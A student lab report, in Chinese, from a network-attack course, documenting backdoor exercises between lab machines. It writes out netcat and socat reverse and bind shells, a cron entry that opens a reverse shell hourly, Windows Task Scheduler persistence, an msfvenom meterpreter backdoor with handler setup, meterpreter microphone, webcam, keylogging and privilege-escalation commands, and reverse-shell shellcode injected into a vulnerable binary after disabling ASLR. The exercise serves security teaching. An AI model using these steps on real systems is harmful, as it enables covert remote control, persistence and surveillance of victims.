• 2019-2020-2 20175309刘雨恒 《网络对抗技术》EXP2后门原理与实践


    一、实验任务

    1.实验内容

    (1)使用netcat获取主机操作Shell,cron启动。
    (2)使用socat获取主机操作Shell, 任务计划启动。
    (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
    (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
    (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

    2.基础知识

    后门定义:
    ·后门就是不经过正常认证流程而访问系统的通道。
    后门存在于:
    ·编译器留后门
    ·操作系统留后门
    ·最常见的当然还是应用程序中留后门
    ·还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

    二、实验步骤

    1.使用netcat获取主机操作Shell,cron启动

    1.1 Windows获得Linux主机操作shell
    ·windows中win+r输入cmd打开终端,输入ipconfig查看windows的IP地址

    ·可以看到windows的IP地址为192.168.33.1
    ·关闭windows防火墙,在linux端ping192.168.33.1,保证两台机器能ping的通

    ·进入ncat.exe的目录下,输入命令ncat.exe -l -p 5309打开监听。

    ·linux使用命令nc 192.168.33.1 5309 -e /bin/sh反弹连接windows。

    ·这时windows已经可以运行linux的指令了,比如pwd,ls

    1.2Linux获得Windows主机操作shell
    ·打开Linux终端,输入ifconfig查看linux的IP地址

    ·可以看到linux的IP地址为192.168.95.128
    ·linux端输入命令nc -l -p 5309打开监听。

    ·windows端使用命令ncat.exe -e cmd.exe 192.168.95.128 5309反弹连接linux。

    ·linux获得windows的主机操作shell

    1.3corn启动
    ·linux使用命令crontab -e并选择3进入编辑模式
    ·在最后一行添加40 * * * * /bin/netcat 192.168.1.4 5334 -e /bin/sh,意思是在每个小时的第40分钟执行后面的指令。(这个数字可以修改)

    ·等到某点40分,重复上面1.1的步骤,成功建立连接,双方可传递数据或者聊天。

    2.使用socat获取主机操作Shell, 任务计划启动。

    ·右键windows的计算机,点击管理-->任务计划程序-->创建任务
    ·设置你的专属任务名称

    ·进入操作页面,程序与脚本中选择socat的路径
    ·添加参数一栏填入tcp-listen:5309 exec:cmd.exe,pty,stderr

    ·进入触发器界面,自定义触发时间

    ·到了13:52,socat自动触发了

    ·linux使用命令socat -tcp:192.168.95.1:5309连接windows,就可以获得windows的主机操作shell了。

    3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shel

    ·linux使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT=5309 -f exe > backdoor5309.exe来生成后门程序

    ·windows使用命令ncat.exe lv 5309 > backdoor5309.exe来查看连接状态。
    ·linux使用命令nc 192.168.95.1 5309 < backdoor5309.exe传输后门程序。

    ·传输成功。

    ·linux使用msfconsole命令进入msf控制台,输入下面这些命令。

    use exploit/multi/handler//使用监听模块,设置payload
    set payload windows/meterpreter/reverse_tcp//使用和生成后门程序时相同的payload
    set LHOST 192.168.95.128//此处为linux的IP地址
    set LPORT 5309//使用相同的端口
    show options//查看设置
    

    ·linux入exploit开始监听。
    ·windows中运行后门程序,成功获得windows的主机操作shel,输入dir可以验证

    4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    ·linux使用record_mic命令截取一段音频

    ·linux使用webcam_snap命令获取摄像头拍摄内容

    ·linux使用keyscan_start命令记录击键的过程,使用keyscan_dump命令读取击键记录

    ·linux使用screenshot命令截屏

    ·linux使用getuid命令查看当前用户,使用getsystem命令进行提权操作。

    5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    ·在官网上下载Linux/x86 - Reverse(127.0.0.1:4444/TCP) Shell (/bin/sh) Shellcode (96Bytes)这个文件
    ·提取其中的机器码留作备用x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80
    ·linux中使用命令echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化。

    ·使用命令perl -e 'print "A"x 32;print"x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode将perl生成的字符串储存到input_shellcode中。
    ·使用命令(cat input_shellcode;cat) | ./pwn1注入这段攻击buf。
    ·再打开另外一个终端使用命令ps -ef | grep pwn1找到pwn1的进程号:3056。

    ·启动gdb调试,输入attach 3056
    ·使用命令disassemble foo,查看ret的地址,之后设置断点。
    ·在另一个终端按下回车。
    ·返回到这个终端,输入c继续运行。

    ·使用命令info r esp查看栈指针的位置。
    ·发现数据是0*ffffd2fc,那么我所需要修改成0*ffffd2fc+4=0*ffffd300

    ·打开一个终端使用命令msfconsole打开msf控制台,输入以下命令。

    use exploit/multi/handler//设置payload
    set payload linux/x86/shell_reverse_tcp
    set LHOST 127.0.0.1//设置ip
    set LPORT 4444//设置端口
    show options//查看选项
    exploit //设置完成,开始监听
    

    ·在另一终端使用命令cat input_shellcode;cat) | ./pwn1运行pwn1,可以看出来已经成功调取了shell。

    三、实验中遇到的问题。

    linux中输入ifconfig命令显示未找到命令。

    解决办法:输入命令export PATH=$PATH:/sbin即可。(不过貌似下次开机后就不好使了,还得重新设置一遍)

    四、基础问题回答。

    1.例举你能想到的一个后门进入到你系统中的可能方式?
    答:下载了第三方软件,尤其是有被迫捆绑下载的那种。
    2.例举你知道的后门如何启动起来(win及linux)的方式?
    答:任务定时启动。
    3.Meterpreter有哪些给你映像深刻的功能?
    答:获取摄像头,点开照片突然看到自己的脸的时候还是挺恐怖的。
    4.如何发现自己有系统有没有被安装后门?
    答:杀毒软件查杀、防火墙提醒等等。

    五、实验心得。

    难度并不难,但是很费时间,两个主机来回切换输入双方的IP地址搞得人晕头转向,不过大概晓得了后门程序的使用。最后一个加分项还用到了第一次的实验,万幸第一次实验做了3、4遍比较熟悉,要不然光按回车和地址加4就够折磨人的了。

  • 相关阅读:
    单片机 C语音开发 sbit使用方法··
    android笔记JSON数据解析
    android软键盘挡住输入框问题解决方法
    android学习
    View.setTag()与View.getTag()的作用
    【Android学习专题】数据存储篇:SharedPreferences/Files/SDCard
    android完美退出程序
    Looper.prepare()
    各种Adapter的用法
    android 界面布局 很好的一篇总结 【转】
  • 原文地址:https://www.cnblogs.com/20175309lyh/p/12495223.html
Copyright © 2020-2023  润新知